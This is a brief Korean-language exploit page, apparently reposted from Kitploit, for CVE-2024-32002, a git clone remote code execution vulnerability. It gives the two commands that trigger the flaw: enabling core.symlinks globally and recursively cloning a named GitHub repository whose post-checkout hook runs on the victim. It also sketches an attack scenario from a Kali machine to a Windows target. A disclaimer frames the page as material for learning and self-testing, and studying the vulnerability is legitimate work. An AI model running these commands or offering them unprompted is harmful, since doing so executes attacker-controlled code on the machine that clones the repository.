git_rce — Git clone 원격 코드 실행 익스플로잇 | Kitploit

CVE-2024-32002 PoC

다음과 같이 git의 심볼릭 링크 옵션을 설정해야 합니다:

git config --global core.symlinks true

그런 다음 다음 명령으로 CVE-2024-32002를 악용합니다:

git clone --recursive https://github.com/EQSTSeminar/git_rce.git

공격 시나리오

kali(192.168.216.129) --원격 저장소 주소 전달--> Win(192.168.216.130)

kali(192.168.216.129) <--Git clone 및 hook 스크립트(post-checkout) 실행-- Win(192.168.216.130)

면책 조항

이 저장소는 CVE-2024-32002에 대한 git clone RCE 익스플로잇으로 의도된 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.

분석

https://skshieldus.com/eng/business/insight.do#

도구 다운로드